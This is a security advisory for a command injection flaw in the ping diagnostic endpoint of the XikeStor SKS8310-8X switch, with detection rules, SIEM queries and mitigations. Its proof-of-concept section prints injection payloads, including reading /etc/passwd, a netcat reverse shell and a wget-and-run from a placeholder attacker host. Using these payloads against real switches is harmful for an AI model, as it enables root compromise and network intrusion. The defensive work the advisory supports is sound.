CVE-2026-25070 – XikeStor SKS8310-8X Switch OS Command Injection
CVE ID: CVE-2026-25070
Product: XikeStor SKS8310-8X Managed Network Switch
Affected Versions: Firmware 1.04.B07 and earlier
Vulnerability Type: OS Command Injection
CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
Severity: Critical
CVSS v3.x Score: 9.3 (Critical)
Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality Impact: High
Integrity Impact: High
Availability Impact: High
Exploitability: High
Exploit Availability: No widely distributed exploit framework observed yet, however exploitation is considered straightforward due to the absence of input validation and authentication.
Authentication Requirement: Not required
Impact: Unauthenticated Remote Code Execution as root user
Overview
A critical vulnerability has been identified in the XikeStor SKS8310-8X managed network switch firmware. The flaw exists within the device’s web management interface and allows unauthenticated remote attackers to execute arbitrary operating system commands.
The vulnerability originates from improper input validation in the Ping diagnostic function exposed through the endpoint:
/goform/PingTestSet
This endpoint accepts user supplied input through the destIp parameter. Instead of validating or sanitizing the input, the firmware passes the value directly into an operating system command used to perform a ping operation.
Because the command is executed by the system shell, specially crafted input containing shell operators can cause additional commands to be executed. As the web service on the switch runs with root privileges, any injected command is also executed with root level permissions, leading to full compromise of the device.
Affected Component
Component: Web management interface
Endpoint:
/goform/PingTestSet
Vulnerable Parameter:
destIp
This parameter is expected to contain an IP address used for network connectivity testing. However, due to lack of sanitization, shell control characters can be injected.
Technical Root Cause
The vulnerability is caused by unsafe command execution logic in the ping testing feature.
In the firmware, the user supplied IP address is concatenated into a shell command similar to:
ping <destIp>
The command is then executed using a system shell call. When input validation is missing, shell metacharacters are interpreted as command separators.
Examples of such characters include:
;
|
&&
||
`
$
When one of these operators is included within the input, additional commands are executed after the ping command.
Because the switch firmware runs with root privileges, the attacker gains full control over the underlying Linux system.
Vulnerability Type
The vulnerability falls under OS Command Injection.
This class of vulnerability occurs when:
- User controlled input is inserted into a command.
- The command is executed by the operating system.
- Input validation is not performed.
- Shell metacharacters are interpreted by the system shell.
Such flaws frequently appear in embedded devices and IoT firmware, where diagnostic tools such as ping, traceroute, or network scans are implemented without secure input filtering.
Exploitation Scenario
Exploitation can be performed remotely if the management interface of the switch is reachable.
The attack process typically follows these steps:
- The attacker identifies a network exposed XikeStor SKS8310-8X switch.
- The management interface is accessed through HTTP.
- A crafted HTTP request is sent to
/goform/PingTestSet. - The attacker injects malicious shell syntax inside the destIp parameter.
- The injected command is executed by the device operating system.
Because authentication is not required, the vulnerability can be exploited without credentials.
Proof-of-Concept Payload (Educational Use Only)
The following payload examples demonstrate how command injection may occur.
Basic command execution
destIp=8.8.8.8;id
Expected result:
ping 8.8.8.8
id
The id command is executed after the ping command.
System information retrieval
destIp=8.8.8.8;uname -a
Reading sensitive files
destIp=8.8.8.8;cat /etc/passwd
Reverse shell attempt
destIp=8.8.8.8;nc attacker-ip 4444 -e /bin/sh
Remote payload download
destIp=8.8.8.8;wget http://attacker/payload.sh -O /tmp/payload.sh;sh /tmp/payload.sh
These payloads illustrate how attackers can move from simple command execution to persistent compromise.
Potential Impact
Successful exploitation can result in complete control over the network switch.
Possible consequences include:
Network manipulation
Attackers may modify switch configuration such as VLAN assignments, routing tables, or port settings.
Traffic interception
Since the switch controls packet forwarding, traffic passing through the device may be intercepted or redirected.
Lateral movement
Once compromised, the switch can be used as a pivot point for attacking internal network systems.
Persistent backdoor
Malicious scripts or binaries may be placed on the device to maintain long-term access.
Network disruption
Attackers may disable switching functions, modify configurations, or reboot the device, resulting in service outages.
MITRE ATT&CK Mapping
T1190 – Exploit Public Facing Application
The vulnerable management interface can be accessed remotely and exploited through crafted HTTP requests.
T1059 – Command and Scripting Interpreter
Injected shell commands allow attackers to execute arbitrary system commands.
T1105 – Ingress Tool Transfer
Payloads may download additional malicious tools onto the switch.
T1046 – Network Service Discovery
Compromised switches may scan internal networks to discover additional targets.
T1071 – Application Layer Protocol
Communication with attacker infrastructure may occur using HTTP or DNS.
Detection
Detection should focus on abnormal requests targeting the Ping diagnostic endpoint and the presence of shell operators in parameters.
Indicators include:
- Requests targeting
/goform/PingTestSet - Requests containing shell metacharacters in
destIp - Unexpected outbound connections initiated by the switch
- Suspicious command execution patterns
Common injection indicators:
;
|
&&
||
`
$
Educational Suspicious Requests
POST /goform/PingTestSet
destIp=8.8.8.8;id
POST /goform/PingTestSet
destIp=1.1.1.1|whoami
POST /goform/PingTestSet
destIp=8.8.8.8&&cat /etc/passwd
Detection Rules
IDS / IPS Rule (Suricata)
alert http any any -> any any (
msg:"XikeStor SKS8310-8X PingTestSet Command Injection Attempt";
flow:to_server,established;
content:"/goform/PingTestSet";
http_uri;
pcre:"/destIp=.*(;|\||&&|`|\$)/";
classtype:web-application-attack;
sid:90025070;
rev:1;
)
Network Detection Rule (Snort)
alert tcp any any -> any 80 (
msg:"XikeStor PingTestSet Command Injection";
flow:to_server,established;
content:"/goform/PingTestSet";
http_uri;
pcre:"/destIp=.*(;|\||&&)/";
sid:10025070;
rev:1;
)
Log Source
The following log sources are useful for identifying exploitation attempts:
Web Management Logs
- HTTP access logs
- Administrative activity logs
Network Security Logs
- IDS / IPS alerts
- Firewall logs
- Network traffic inspection
Device System Logs
- Process execution logs
- System command logs
- Configuration change logs
Network Monitoring
- Unexpected outbound connections from network infrastructure devices
- DNS queries initiated by the switch
Threat Hunting Queries
Splunk Query
index=network_logs
uri="/goform/PingTestSet"
| search destIp="*;*" OR destIp="*|*" OR destIp="*&&*"
Elastic / KQL Query
url.path : "/goform/PingTestSet" and
(request.body : "*;*" or request.body : "*|*" or request.body : "*&&*")
Generic SIEM Query
url="/goform/PingTestSet"
AND (request_body LIKE "%;%" OR request_body LIKE "%|%" OR request_body LIKE "%&&%")
Indicators of Compromise
Security teams should investigate if any of the following signs are observed:
- Unknown outbound connections from the switch
- Unexpected system processes running on the device
- Unknown configuration modifications
- Newly created administrator accounts
- Suspicious shell commands executed by the device
Mitigation
Immediate defensive measures should include:
- Restricting management interface access to internal administrative networks only
- Blocking external access to switch management ports
- Monitoring HTTP requests targeting diagnostic endpoints
- Implementing network segmentation for infrastructure devices
Regular firmware updates should also be applied to prevent exploitation.
Patch / Upgrade
The vulnerability has been addressed through firmware updates that introduce proper input validation for the Ping diagnostic feature.
Administrators should upgrade affected devices to a secure firmware version newer than 1.04.B07.
Official firmware information and upgrade guidance:
https://openwrt.org/toh/xikestor/sks8310-8x
